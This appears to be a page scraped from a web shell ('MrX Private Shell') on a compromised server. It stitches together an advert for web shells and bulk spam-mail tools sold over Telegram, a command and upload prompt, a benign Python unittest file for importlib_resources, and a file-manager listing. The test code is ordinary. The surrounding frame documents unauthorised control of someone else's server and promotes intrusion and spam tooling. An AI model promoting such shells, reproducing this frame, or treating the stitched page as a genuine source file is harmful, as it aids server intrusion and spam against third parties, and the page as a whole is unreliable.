__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.113: ~ $
import unittest
from importlib import import_module

import importlib_resources as resources

from . import util


class CommonBinaryTests(util.CommonTests, unittest.TestCase):
    def execute(self, package, path):
        resources.files(package).joinpath(path).read_bytes()


class CommonTextTests(util.CommonTests, unittest.TestCase):
    def execute(self, package, path):
        resources.files(package).joinpath(path).read_text(encoding='utf-8')


class ReadTests:
    def test_read_bytes(self):
        result = resources.files(self.data).joinpath('binary.file').read_bytes()
        assert result == bytes(range(4))

    def test_read_text_default_encoding(self):
        result = (
            resources
            .files(self.data)
            .joinpath('utf-8.file')
            .read_text(encoding='utf-8')
        )
        assert result == 'Hello, UTF-8 world!\n'

    def test_read_text_given_encoding(self):
        result = (
            resources
            .files(self.data)
            .joinpath('utf-16.file')
            .read_text(encoding='utf-16')
        )
        assert result == 'Hello, UTF-16 world!\n'

    def test_read_text_with_errors(self):
        """
        Raises UnicodeError without the 'errors' argument.
        """
        target = resources.files(self.data) / 'utf-16.file'
        self.assertRaises(UnicodeError, target.read_text, encoding='utf-8')
        result = target.read_text(encoding='utf-8', errors='ignore')
        assert result == (
            'H\x00e\x00l\x00l\x00o\x00,\x00 '
            '\x00U\x00T\x00F\x00-\x001\x006\x00 '
            '\x00w\x00o\x00r\x00l\x00d\x00!\x00\n\x00'
        )


class ReadDiskTests(ReadTests, util.DiskSetup, unittest.TestCase):
    pass


class ReadZipTests(ReadTests, util.ZipSetup, unittest.TestCase):
    def test_read_submodule_resource(self):
        submodule = import_module('data01.subdirectory')
        result = resources.files(submodule).joinpath('binary.file').read_bytes()
        assert result == bytes(range(4, 8))

    def test_read_submodule_resource_by_name(self):
        result = (
            resources.files('data01.subdirectory').joinpath('binary.file').read_bytes()
        )
        assert result == bytes(range(4, 8))


class ReadNamespaceTests(ReadTests, util.DiskSetup, unittest.TestCase):
    MODULE = 'namespacedata01'


class ReadNamespaceZipTests(ReadTests, util.ZipSetup, unittest.TestCase):
    MODULE = 'namespacedata01'

    def test_read_submodule_resource(self):
        submodule = import_module('namespacedata01.subdirectory')
        result = resources.files(submodule).joinpath('binary.file').read_bytes()
        assert result == bytes(range(12, 16))

    def test_read_submodule_resource_by_name(self):
        result = (
            resources
            .files('namespacedata01.subdirectory')
            .joinpath('binary.file')
            .read_bytes()
        )
        assert result == bytes(range(12, 16))


if __name__ == '__main__':
    unittest.main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
compat Folder 0755
__init__.py File 0 B 0644
_path.py File 2.17 KB 0644
test_compatibilty_files.py File 3.01 KB 0644
test_contents.py File 838 B 0644
test_custom.py File 1.19 KB 0644
test_files.py File 5.34 KB 0644
test_functional.py File 8.78 KB 0644
test_open.py File 2.57 KB 0644
test_path.py File 1.92 KB 0644
test_read.py File 2.93 KB 0644
test_reader.py File 4.28 KB 0644
test_resource.py File 7.8 KB 0644
test_util.py File 1.08 KB 0644
util.py File 9.56 KB 0644
zip.py File 577 B 0644